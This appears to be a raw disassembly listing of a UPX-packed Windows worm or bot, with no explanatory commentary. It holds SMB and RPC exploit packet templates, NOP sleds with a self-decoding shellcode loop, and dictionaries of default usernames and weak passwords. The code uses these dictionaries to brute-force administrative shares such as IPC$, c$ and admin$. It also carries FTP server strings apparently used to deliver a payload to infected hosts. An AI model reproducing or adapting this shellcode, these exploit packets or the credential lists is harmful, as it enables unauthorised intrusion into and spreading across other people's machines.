0 dword_41B338 dd 0 ; DATA XREF: sub_410B52+2C7o dd 0D7h, 1, 0 dd 1, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- align 4 dd 2 dup(0) dword_41B35C dd 0CA040000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: sub_410B52+348o dd 1C80800h, 7CC90800h, 80000010h, 0E0040004h, 0FFh, 2 dup(0) dd 80004A00h, 2004A04h, 2600h, 5C048740h, 45504950h, 5005Ch dd 100300h, 4800000h, 0 dd 4680000h, 0 dd 72B3001Fh, 1A381h, 0 dd 10000h, 0 dd 2150000h, 0 dd 2150000h, 0 dword_41B3E4 dd 0 ; DATA XREF: sub_410B52+3DEo dd 85h, 2, 0 dd 2, 2EBh, 85h, 2 dup(0) dword_41B408 dd 20804h, 0 ; DATA XREF: sub_410B52+285o ; sub_410B52+29Bo ... dword_41B410 dd 2080Ah, 0 ; DATA XREF: sub_410B52+26Fo dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 0FEFF0000h, 0 dd 2006200h, 4E204350h, 4F575445h, 50204B52h, 52474F52h dd 31204D41h, 200302Eh, 4D4E414Ch, 2E314E41h, 57020030h dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h dd 2E332073h, 2006131h, 2E314D4Ch, 30305832h, 4C020032h dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h dd 0 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows20002_1: unicode 0, <Windows 2000 2195>,0 aWindows20005_2: unicode 0, <Windows 2000 5.0>,0 align 4 dd 0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 41ED0000h, 2686272Ch dd 0B3A059D2h, 8800AA5Eh, 57C56Fh, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dd 5A000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 300800h, 5A00FF04h, 1000800h, 2F00h, 0 dd 3F3F0000h, 3F3F3Fh, 0 dd 66000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) dd 4780800h, 400800h, 0DE00FF18h, 1000DEh, 16h, 0 dd 2019Fh, 4 dup(0) dd 1, 40h, 2, 1303h, 62005Ch, 6F0072h, 730077h, 720065h dd 0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4780800h, 500800h, 48000010h, 0 dd 10h, 2 dup(0) dd 48005400h, 2005400h, 2600h, 5940h, 50005Ch, 500049h dd 5C0045h, 400000h, 30B0005h, 10h, 48h, 1, 10B810B8h dd 0 dd 1, 10000h, 8D9F4E40h, 11CEA03Dh, 8698Fh, 1B05303Eh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0) dd 3C005400h, 2005408h, 2600h, 84D40h, 50005Ch, 500049h dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h dd 11h, 0 dd 11h, 4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh dd 2 dup(300030h), 0 dd 0FFFFh, 7E0h, 2 dup(0) dd 7C0h, 0 align 10h jmp short loc_41B84A ; --------------------------------------------------------------------------- align 4 dd 767A1567h ; --------------------------------------------------------------------------- jmp short loc_41B852 ; --------------------------------------------------------------------------- loc_41B84A: ; CODE XREF: UPX1:0041B840j nop nop db 67h adc eax, 8EB767Ah loc_41B852: ; CODE XREF: UPX1:0041B848j nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 9090767Ah nop nop nop nop nop jmp short loc_41B8A1 ; --------------------------------------------------------------------------- db 2 dup(90h) db 48h dd 9088444Fh db 90h ; --------------------------------------------------------------------------- loc_41B8A1: ; CODE XREF: UPX1:0041B897j nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; --------------------------------------------------------------------------- dd 0 dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0) dd 3C005400h, 2005408h, 2600h, 84D40h, 50005Ch, 500049h dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h dd 11h, 0 dd 11h, 4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh dd 2 dup(300030h), 0 dd 0FFFFh, 7E0h, 2 dup(0) dd 7C0h, 0 db 8 dup(90h) ; --------------------------------------------------------------------------- jmp short loc_41B97E ; --------------------------------------------------------------------------- align 4 dd 767A1567h ; --------------------------------------------------------------------------- jmp short loc_41B986 ; --------------------------------------------------------------------------- loc_41B97E: ; CODE XREF: UPX1:0041B974j nop nop db 67h adc eax, 8EB767Ah loc_41B986: ; CODE XREF: UPX1:0041B97Cj nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop jns short near ptr word_41B9F6 add [ecx], eax jmp short loc_41B9C6 ; --------------------------------------------------------------------------- align 10h dd 767A1567h db 2 dup(90h) ; --------------------------------------------------------------------------- loc_41B9C6: ; CODE XREF: UPX1:0041B9BCj nop nop nop nop nop jmp short loc_41B9D5 ; --------------------------------------------------------------------------- db 2 dup(90h) db 48h dd 9088444Fh db 90h ; --------------------------------------------------------------------------- loc_41B9D5: ; CODE XREF: UPX1:0041B9CBj nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; --------------------------------------------------------------------------- dd 0 dd 7E0h, 4, 0 db 2 dup(0) word_41B9F6 dw 0 ; CODE XREF: UPX1:0041B9B8j dd 0D0EC8166h, 7, 129F74h, 0 dd 127D78h, 0 ; --------------------------------------------------------------------------- pusha jmp short loc_41BA16 ; =============== S U B R O U T I N E ======================================= sub_41BA13 proc near ; CODE XREF: UPX1:loc_41BA16p pop ebx push ebx retn sub_41BA13 endp ; --------------------------------------------------------------------------- loc_41BA16: ; CODE XREF: UPX1:0041BA11j call sub_41BA13 xor eax, eax add al, 34h add eax, ebx push eax pop ebx loc_41BA23: ; CODE XREF: UPX1:0041BA4Cj xor edx, edx add dl, [eax] inc eax add dh, [eax] inc eax push eax xor eax, eax add al, 41h sub dl, al sub dh, al shl dl, 4 shr dx, 4 xor eax, eax xor dh, dh add al, [ebx] sub [ebx], al add [ebx], dx inc ebx pop eax xor ecx, ecx add cl, [eax] loopne loc_41BA23 popa add [ebx+31h], al mov ebp, 7FC77h add [ecx], al inc ebx loc_41BA5A: ; CODE XREF: UPX1:0041BA5Cj xor eax, eax ja short loc_41BA5A pop es ; --------------------------------------------------------------------------- db 0 dd 4F020100h, 7E7655Bh, 0 dd 195h, 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; --------------------------------------------------------------------------- mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 byte_41BB00 db 90h ; DATA XREF: sub_410F60+35r ; sub_410F60+73r ... dword_41BB01 dd 0 ; DATA XREF: sub_410F60+A3r db 9Eh, 2 dup(0) dd 0F50000h, 0F8000000h, 0 dd 0F9h, 0FC00h, 1270000h, 2F000000h, 1, 137h, 13F00h dd 1400000h, 41000000h, 4, 842h, 24300h, 40450000h, 46000000h dd 10h, 2047h, 14800h, 4490000h, 4A000000h, 8, 24Bh, 404D00h dd 104E0000h, 4F000000h, 20h, 198h, 19F00h, 5910000h, 92000000h dd 9, 393h, 419500h, 11960000h, 97000000h, 21h, 999h, 0 dd offset aAdministrator ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aAdm ; "adm" dd offset aComputer ; "computer" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aSystem ; "system" dd offset aServer_0 ; "server" dd offset aRoot ; "root" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser ; "user" dd offset aOemuser ; "oemuser" dd offset aWwwadmin ; "wwwadmin" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" ; --------------------------------------------------------------------------- clc retn ; --------------------------------------------------------------------------- dw 41h ; --------------------------------------------------------------------------- adc ah, al inc ecx add al, dh retn ; --------------------------------------------------------------------------- inc ecx add ah, ch retn ; --------------------------------------------------------------------------- inc ecx add ah, ah retn ; --------------------------------------------------------------------------- inc ecx add al, ah retn ; --------------------------------------------------------------------------- inc ecx add al, bl retn ; --------------------------------------------------------------------------- inc ecx add al, dl retn ; --------------------------------------------------------------------------- inc ecx add al, cl retn ; --------------------------------------------------------------------------- inc ecx add al, al retn ; --------------------------------------------------------------------------- inc ecx add [eax-4FFFBE3Dh], bh retn ; --------------------------------------------------------------------------- inc ecx add [eax-3Ch], al inc ecx add [eax-5FFFBE3Dh], ch retn ; --------------------------------------------------------------------------- inc ecx add [ebx+eax*8-3C73FFBFh], dl inc ecx add [eax-7FFFBE3Dh], cl retn ; --------------------------------------------------------------------------- inc ecx add [ebx+eax*8+41h], dh add [ebx+eax*8+41h], ch add [ebx+eax*8+41h], ah add [eax-3Dh], ah inc ecx add [ebx+eax*8+41h], bl add [ebx+eax*8+41h], dl add [eax-3Dh], dl inc ecx add [eax-3Dh], cl inc ecx add [eax-3Dh], al inc ecx add [eax], bh retn ; --------------------------------------------------------------------------- inc ecx add [eax], dh retn ; --------------------------------------------------------------------------- inc ecx add [eax], ch retn ; --------------------------------------------------------------------------- inc ecx add [eax], ah retn ; --------------------------------------------------------------------------- inc ecx add [eax], bl retn ; --------------------------------------------------------------------------- inc ecx add [ebx+eax*8], dl inc ecx add [esp+eax*8+41h], dh add [eax], cl retn ; --------------------------------------------------------------------------- dw 41h dd offset aStudent ; "student" ; --------------------------------------------------------------------------- clc retn 41h ; --------------------------------------------------------------------------- dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" dd 0 dd offset aC ; "c$" dd offset aD ; "d$" ; --------------------------------------------------------------------------- fadd st(2), st inc ecx add al, dl retn 41h ; --------------------------------------------------------------------------- dd offset aDShared ; "d$\\shared" ; --------------------------------------------------------------------------- mov eax, 0AC0041C2h retn 41h ; --------------------------------------------------------------------------- mov al, ds:8C0041C2h retn 41h ; --------------------------------------------------------------------------- dd offset aCWindowsSystem ; "c$\\windows\\system32" ; --------------------------------------------------------------------------- push 600041C2h retn 41h ; --------------------------------------------------------------------------- xor dl, al inc ecx add [eax], ch retn 41h ; --------------------------------------------------------------------------- dd offset aIpc ; "IPC$" dd 0 dd offset byte_41DF00 dd offset aAdministrator ; "administrator" dd offset aAdministrador ; "administrador" ; --------------------------------------------------------------------------- aam 0C4h inc ecx add al, cl les eax, [ecx+0] rol ah, 41h add [eax-4BFFBE3Ch], bh les eax, [ecx+0] sbb al, 0C2h inc ecx add [eax], bl retn 41h ; --------------------------------------------------------------------------- adc al, 0C2h inc ecx add [eax], cl retn 41h ; --------------------------------------------------------------------------- cld rol dword ptr [ecx+0], 0F4h rol dword ptr [ecx+0], 0F0h rol dword ptr [ecx+0], 0E4h rol dword ptr [ecx+0], 0DCh rol dword ptr [ecx+0], 0D8h rol dword ptr [ecx+0], 0D4h rol dword ptr [ecx+0], 0D0h rol dword ptr [ecx+0], 0CCh rol dword ptr [ecx+0], 0C8h rol dword ptr [ecx+0], 0C0h rol dword ptr [ecx+0], 0B8h rol dword ptr [ecx+0], 0B0h rol dword ptr [ecx+0], 0A8h rol dword ptr [ecx+0], 9Ch rol dword ptr [ecx+0], 90h rol dword ptr [ecx+0], 84h rol dword ptr [ecx+0], 7Ch rol dword ptr [ecx+0], 70h rol dword ptr [ecx+0], 68h rol dword ptr [ecx+0], 60h rol dword ptr [ecx+0], 50h xchg eax, edx inc ecx add [eax-3Fh], bl inc ecx add [eax+44004198h], dl xchg eax, edx inc ecx add [eax-3Fh], dl inc ecx add [eax-3Fh], cl inc ecx add [eax-3Fh], al inc ecx add al, dl retn ; --------------------------------------------------------------------------- inc ecx add al, cl retn ; --------------------------------------------------------------------------- dw 41h dd offset aDemo ; "demo" dd offset aComputer ; "computer" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aDefault ; "default" dd offset aSystem ; "system" dd offset aServer_0 ; "server" dd offset aRoot ; "root" dd offset aNull ; "null" dd offset aTemp ; "temp" dd offset aTemp123 ; "temp123" dd offset aQwerty ; "qwerty" dd offset aMail ; "mail" dd offset aOutlook ; "outlook" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aSex ; "sex" dd offset aLetmein ; "letmein" dd offset aAccounts ; "accounts" dd offset aAccounting ; "accounting" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser ; "user" dd offset aOem ; "oem" dd offset aOemuser ; "oemuser" dd offset aOeminstall ; "oeminstall" dd offset aWwwadmin ; "wwwadmin" dd offset aWindows ; "windows" dd offset aWin98 ; "win98" dd offset aWin2k ; "win2k" dd offset aWinxp ; "winxp" dd offset aWinnt ; "winnt" dd offset aWin2000 ; "win2000" dd offset aQaz ; "qaz" dd offset aAsd ; "asd" dd offset aZxc ; "zxc" dd offset aQwe ; "qwe" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" ; --------------------------------------------------------------------------- clc retn ; --------------------------------------------------------------------------- dw 41h ; --------------------------------------------------------------------------- adc ah, al inc ecx add al, dh retn ; --------------------------------------------------------------------------- inc ecx add ah, ch retn ; --------------------------------------------------------------------------- inc ecx add ah, ah retn ; --------------------------------------------------------------------------- inc ecx add al, ah retn ; --------------------------------------------------------------------------- inc ecx add al, bl retn ; --------------------------------------------------------------------------- inc ecx add al, al retn ; --------------------------------------------------------------------------- inc ecx add [eax-4FFFBE3Dh], bh retn ; --------------------------------------------------------------------------- inc ecx add [eax-3Ch], al inc ecx add [eax-5FFFBE3Dh], ch retn ; --------------------------------------------------------------------------- inc ecx add [eax-40h], bh inc ecx add [eax+eax*8+41h], ch add [ebx+eax*8-3C73FFBFh], dl inc ecx add [eax-40h], ah inc ecx add [eax-40h], bl inc ecx add [eax-40h], dl inc ecx add [eax-40h], cl inc ecx add al, dh rol byte ptr [ecx+0], 88h retn ; --------------------------------------------------------------------------- inc ecx add [eax-40h], al inc ecx add [eax], bh rol byte ptr [ecx+0], 30h rol byte ptr [ecx+0], 28h rol byte ptr [ecx+0], 80h retn ; --------------------------------------------------------------------------- inc ecx add [eax+eax*8], bl inc ecx add [eax+eax*8], cl inc ecx add [ebx+eax*8+41h], dh add [ebx+eax*8+41h], ch add [eax+eax*8], al inc ecx add al, bh mov edi, 0BFE80041h inc ecx add [ebx+eax*8+41h], ah add ah, dl mov edi, 0BFD00041h inc ecx add ah, cl mov edi, 0BFC40041h inc ecx add [eax-3Dh], ah inc ecx add [ebx+eax*8+41h], bl add [eax-5BFFBE41h], dh mov edi, 0C3540041h inc ecx add [eax-3Dh], dl inc ecx add [eax-3Dh], cl inc ecx add [eax-3Dh], al inc ecx add [eax], bh retn ; --------------------------------------------------------------------------- inc ecx add [eax], dh retn ; --------------------------------------------------------------------------- inc ecx add [eax-67FFBE41h], ah mov edi, 0BF940041h inc ecx add [eax], ch retn ; --------------------------------------------------------------------------- inc ecx add [eax], ah retn ; --------------------------------------------------------------------------- inc ecx add [edi+edi*4-407BFFBFh], cl inc ecx add [eax], bl retn ; --------------------------------------------------------------------------- inc ecx add [ebx+eax*8], dl inc ecx add [esp+eax*8+41h], dh add [eax], cl retn ; --------------------------------------------------------------------------- dw 41h dd offset aStudent ; "student" ; --------------------------------------------------------------------------- clc retn 41h ; --------------------------------------------------------------------------- dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" dd 0 aWinpass db 'winpass',0 aBlank db 'blank',0 align 4 aXp_0 db 'xp',0 align 4 aNokia db 'nokia',0 align 10h aHp db 'hp',0 align 4 aOrainstall db 'orainstall',0 align 10h aSqlpassoainsta db 'sqlpassoainstall',0 align 4 aDb1234 db 'db1234',0 align 4 aDb2 db 'db2',0 aDb1 db 'db1',0 aDatabasepasswo db 'databasepassword',0 align 4 aDatabasepass db 'databasepass',0 align 4 aDbpassword db 'dbpassword',0 align 4 aDbpass db 'dbpass',0 align 4 aDomainpassword db 'domainpassword',0 align 4 aDomainpass db 'domainpass',0 align 4 aHello db 'hello',0 align 10h aHell db 'hell',0 align 4 aLove db 'love',0 align 10h aMoney db 'money',0 align 4 aSlut db 'slut',0 align 10h aBitch db 'bitch',0 align 4 aFuck db 'fuck',0 align 10h aExchange db 'exchange',0 align 4 aLoginpass db 'loginpass',0 align 4 aLogin db 'login',0 align 10h aQwe db 'qwe',0 ; DATA XREF: UPX1:0041BE4Co aZxc db 'zxc',0 ; DATA XREF: UPX1:0041BE48o aAsd db 'asd',0 ; DATA XREF: UPX1:0041BE44o aQaz db 'qaz',0 ; DATA XREF: UPX1:0041BE40o aWin2000 db 'win2000',0 ; DATA XREF: UPX1:0041BE3Co aWinnt db 'winnt',0 ; DATA XREF: UPX1:0041BE38o align 10h aWinxp db 'winxp',0 ; DATA XREF: UPX1:0041BE34o align 4 aWin2k db 'win2k',0 ; DATA XREF: UPX1:0041BE30o align 10h aWin98 db 'win98',0 ; DATA XREF: UPX1:0041BE2Co align 4 aWindows db 'windows',0 ; DATA XREF: UPX1:0041BE28o aOeminstall db 'oeminstall',0 ; DATA XREF: UPX1:0041BE20o align 4 aOem db 'oem',0 ; DATA XREF: UPX1:0041BE18o aAccounting db 'accounting',0 ; DATA XREF: UPX1:0041BE08o align 4 aAccounts db 'accounts',0 ; DATA XREF: UPX1:0041BE04o align 4 aLetmein db 'letmein',0 ; DATA XREF: UPX1:0041BE00o aSex db 'sex',0 ; DATA XREF: UPX1:0041BDFCo aOutlook db 'outlook',0 ; DATA XREF: UPX1:0041BDECo aMail db 'mail',0 ; DATA XREF: UPX1:0041BDE8o align 4 aQwerty db 'qwerty',0 ; DATA XREF: UPX1:0041BDE4o align 4 aTemp123 db 'temp123',0 ; DATA XREF: UPX1:0041BDE0o aTemp db 'temp',0 ; DATA XREF: UPX1:0041BDDCo align 4 aNull db 'null',0 ; DATA XREF: UPX1:0041BDD8o align 4 aDefault db 'default',0 ; DATA XREF: UPX1:0041BDC8o aChangeme db 'changeme',0 ; DATA XREF: UPX1:0041BDC4o align 4 aDemo db 'demo',0 ; DATA XREF: UPX1:0041BDB4o align 10h aTest db 'test',0 align 4 a2005 db '2005',0 align 10h a2004 db '2004',0 align 4 a2001 db '2001',0 align 10h aSecret db 'secret',0 align 4 aPayday db 'payday',0 align 10h aDeadline db 'deadline',0 align 4 aWork db 'work',0 align 4 a1234567890 db '1234567890',0 align 10h a123456789 db '123456789',0 align 4 a12345678 db '12345678',0 align 4 a1234567 db '1234567',0 a123456 db '123456',0 align 4 a12345 db '12345',0 align 10h a1234 db '1234',0 align 4 a123 db '123',0 a12 db '12',0 align 10h a1: unicode 0, <1>,0 a007 db '007',0 aPwd db 'pwd',0 aPass db 'pass',0 align 4 aPass1234 db 'pass1234',0 align 10h aDba db 'dba',0 aPasswd db 'passwd',0 align 4 aPassword db 'password',0 ; DATA XREF: UPX1:0041D840o align 4 aPassword1 db 'password1',0 align 4 aAbc db 'abc',0 aAb db 'ab',0 align 4 aA_0: unicode 0, <a>,0 aIpc db 'IPC$',0 ; DATA XREF: UPX1:0041BD04o align 4 aPrint db 'print$',0 align 10h aCDocumentsAndS db 'C$\Documents and Settings\All Users\Documents\$',0 aAdmin_0 db 'admin$',0 align 4 aAdminSystem32 db 'Admin$\system32',0 aCWindowsSystem db 'c$\windows\system32',0 ; DATA XREF: UPX1:0041BCF0o aCWinntSystem32 db 'c$\winnt\system32',0 align 10h aCWindows db 'c$\windows',0 align 4 aCWinnt db 'c$\winnt',0 align 4 aEShared db 'e$\shared',0 align 4 aDShared db 'd$\shared',0 ; DATA XREF: UPX1:0041BCDCo align 10h aCShared db 'c$\shared',0 align 4 aE db 'e$',0 align 10h aD db 'd$',0 ; DATA XREF: UPX1:0041BCD0o align 4 aC db 'c$',0 ; DATA XREF: UPX1:0041BCCCo align 4 aStaff db 'staff',0 ; DATA XREF: UPX1:0041BCC4o ; UPX1:0041BF7Co align 10h aTeacher db 'teacher',0 ; DATA XREF: UPX1:0041BCC0o ; UPX1:0041BF78o aOwner db 'owner',0 align 10h aStudent db 'student',0 ; DATA XREF: UPX1:0041BCB8o ; UPX1:0041BF70o aIntranet db 'intranet',0 align 4 aLan_0 db 'lan',0 aMain db 'main',0 ; DATA XREF: UPX0:00416ACAo ; UPX0:00416AECo align 10h aOffice db 'office',0 align 4 aControl db 'control',0 aSiemens db 'siemens',0 aCompaq db 'compaq',0 align 10h aDell db 'dell',0 align 4 aCisco db 'cisco',0 align 10h aIbm db 'ibm',0 aOracle db 'oracle',0 align 4 aSql db 'sql',0 aSa db 'sa',0 align 4 aData db 'data',0 align 4 aAccess db 'access',0 align 4 aDatabase db 'database',0 align 10h aDomain db 'domain',0 align 4 aGod db 'god',0 aBackup db 'backup',0 align 4 aTechnical db 'technical',0 align 10h aMary db 'mary',0 align 4 aKatie db 'katie',0 align 10h aKate db 'kate',0 align 4 aGeorge db 'george',0 align 10h aEric db 'eric',0 align 4 aNone db 'none',0 align 10h aGuest db 'guest',0 align 4 aChris db 'chris',0 align 10h aIan db 'ian',0 aNeil db 'neil',0 align 4 aLee db 'lee',0 aBrian db 'brian',0 align 4 aSusan db 'susan',0 align 10h aSue db 'sue',0 ; DATA XREF: UPX1:0041BC24o ; UPX1:0041BE78o aSam db 'sam',0 ; DATA XREF: UPX1:0041BC20o ; UPX1:0041BE74o aLuke db 'luke',0 ; DATA XREF: UPX1:0041BC1Co ; UPX1:0041BE70o align 10h aPeter db 'peter',0 ; DATA XREF: UPX1:0041BC18o ; UPX1:0041BE6Co align 4 aJohn db 'john',0 ; DATA XREF: UPX1:0041BC14o ; UPX1:0041BE68o align 10h aMike db 'mike',0 ; DATA XREF: UPX1:0041BC10o ; UPX1:0041BE64o align 4 aBill db 'bill',0 ; DATA XREF: UPX1:0041BC0Co ; UPX1:0041BE60o align 10h aFred db 'fred',0 ; DATA XREF: UPX1:0041BC08o ; UPX1:0041BE5Co align 4 aJoe db 'joe',0 ; DATA XREF: UPX1:0041BC04o ; UPX1:0041BE58o aJen db 'jen',0 ; DATA XREF: UPX1:0041BC00o ; UPX1:0041BE54o aBob db 'bob',0 ; DATA XREF: UPX1:0041BBFCo ; UPX1:0041BE50o aWwwadmin db 'wwwadmin',0 ; DATA XREF: UPX1:0041BBF8o ; UPX1:0041BE24o align 10h aOemuser db 'oemuser',0 ; DATA XREF: UPX1:0041BBF4o ; UPX1:0041BE1Co aUser db 'user',0 ; DATA XREF: UPX1:0041BBF0o ; UPX1:0041BE14o align 10h aHomeuser db 'homeuser',0 ; DATA XREF: UPX1:0041BBECo ; UPX1:0041BE10o align 4 aHome db 'home',0 ; DATA XREF: UPX1:0041BBE8o ; UPX1:0041BE0Co align 4 aInternet db 'internet',0 ; DATA XREF: UPX1:0041BBE4o ; UPX1:0041BDF8o align 10h aWww db 'www',0 ; DATA XREF: UPX1:0041BBE0o ; UPX1:0041BDF4o aWeb db 'web',0 ; DATA XREF: UPX1:0041BBDCo ; UPX1:0041BDF0o aRoot db 'root',0 ; DATA XREF: UPX1:0041BBD8o ; UPX1:0041BDD4o align 10h aServer_0 db 'server',0 ; DATA XREF: UPX1:0041BBD4o ; UPX1:0041BDD0o align 4 aLinux db 'linux',0 ; DATA XREF: UPX1:0041BBCCo ; UPX1:0041BDC0o align 10h aUnix db 'unix',0 ; DATA XREF: UPX1:0041BBC8o ; UPX1:0041BDBCo align 4 aComputer db 'computer',0 ; DATA XREF: UPX1:0041BBC4o ; UPX1:0041BDB8o align 4 aAdm db 'adm',0 ; DATA XREF: UPX1:0041BBC0o aAdmin db 'admin',0 ; DATA XREF: UPX1:0041BBBCo align 10h aAdmins db 'admins',0 ; DATA XREF: UPX1:0041BBB8o align 4 aAdministrat db 'administrat',0 ; DATA XREF: UPX1:0041BBB4o aAdministrateur db 'administrateur',0 ; DATA XREF: UPX1:0041BBB0o align 4 aAdministrador db 'administrador',0 ; DATA XREF: UPX1:0041BBACo ; UPX1:0041BD14o align 4 aAdministrator db 'administrator',0 ; DATA XREF: UPX1:0041BBA8o ; UPX1:0041BD10o align 4 a231 db '231 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B:loc_4119BAo a221 db '221 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B+843o dword_41C514 dd 74A60h ; DATA XREF: sub_41113B+834r align 10h unk_41C520 db 2Dh ; - ; DATA XREF: sub_41113B+80Do db 3, 30h, 34h db 2 db 25h, 73h, 3 db 2 aU_TransferToSC db '- %u. Transfer to %s complete.',0 aFtp_0 db 'ftp',0 ; DATA XREF: sub_41113B+808o dword_41C54C dd 11A328h ; DATA XREF: sub_41113B+73Er dd 2 dup(0) dword_41C558 dd 20363232h, 0A0D2Dh ; DATA XREF: sub_41113B+6F7o ; sub_41113B+7AAo aX32000Fh1024Ja db '-x 3 2000 fh 1024 Jan 1 0:00 .',0Dh,0Ah ; DATA XREF: sub_41113B+6AFo db 'drwxr-xr-x 3 2000 fh 1024 Jan 1 0:00 ..',0Dh,0Ah db '-rwxr-xr-x 3 2000 fh %u Jan 1 0:00 %s',0Dh,0Ah,0 align 4 a150 db '150 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B+5C7o ; sub_41113B+751o dword_41C5DC dd 13CFA0h ; DATA XREF: sub_41113B+5B4r dd 2 dup(0) dword_41C5E8 dd 20333132h, 0A0D7525h, 0 ; DATA XREF: sub_41113B+56Do dword_41C5F4 dd 160250h ; DATA XREF: sub_41113B+4EDr align 10h aUUUUUU db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_41113B+427o align 4 dword_41C614 dd 165620h ; DATA XREF: sub_41113B+3EAr align 10h dword_41C620 dd 20353234h, 0A0D2Dh ; DATA XREF: sub_41113B+3A3o dword_41C628 dd 150BD8h ; DATA XREF: sub_41113B+394r dd 2 dup(0) dword_41C634 dd 20303032h, 0A0D2Dh ; DATA XREF: sub_41113B+34Do ; sub_41113B+4A6o dword_41C63C dd 0C4110h ; DATA XREF: sub_41113B+33Er dd 2 dup(0) dword_41C648 dd 20373532h, 20222F22h, 0A0D2Dh ; DATA XREF: sub_41113B+2F7o dword_41C654 dd 2B020h ; DATA XREF: sub_41113B+2E8r dd 0 dword_41C65C dd 20313132h, 0A0D2Dh ; DATA XREF: sub_41113B+2A1o dword_41C664 dd 0A6BE0h ; DATA XREF: sub_41113B+292r align 10h dword_41C670 dd 20353132h, 0A0D2Dh ; DATA XREF: sub_41113B+24Bo dword_41C678 dd 162FA0h ; DATA XREF: sub_41113B+23Cr dd 2 dup(0) dword_41C684 dd 20303332h, 0A0D2Dh ; DATA XREF: sub_41113B+1E1o dword_41C68C dd 151098h ; DATA XREF: sub_41113B+1C8r dd 2 dup(0) dword_41C698 dd 20313333h, 0A0D2Dh ; DATA XREF: sub_41113B+181o dword_41C6A0 dd 0CC2A8h ; DATA XREF: sub_41113B+16Br dd 2 dup(0) dword_41C6AC dd 0A0D20h ; DATA XREF: sub_41113B+E9o ; sub_41113B+115o ... dword_41C6B0 dd 20303232h, 0A0D2Dh ; DATA XREF: sub_41113B+13o dword_41C6B8 dd 303332h ; DATA XREF: sub_411A09+193o dword_41C6BC dd 53534150h, 0A0D3120h, 0 ; DATA XREF: sub_411A09+11Do dword_41C6C8 dd 313333h ; DATA XREF: sub_411A09+F9o dword_41C6CC dd 52455355h, 0A0D3120h, 0 ; DATA XREF: sub_411A09:loc_411A8Ao dword_41C6D8 dd 303232h ; DATA XREF: sub_411A09+63o 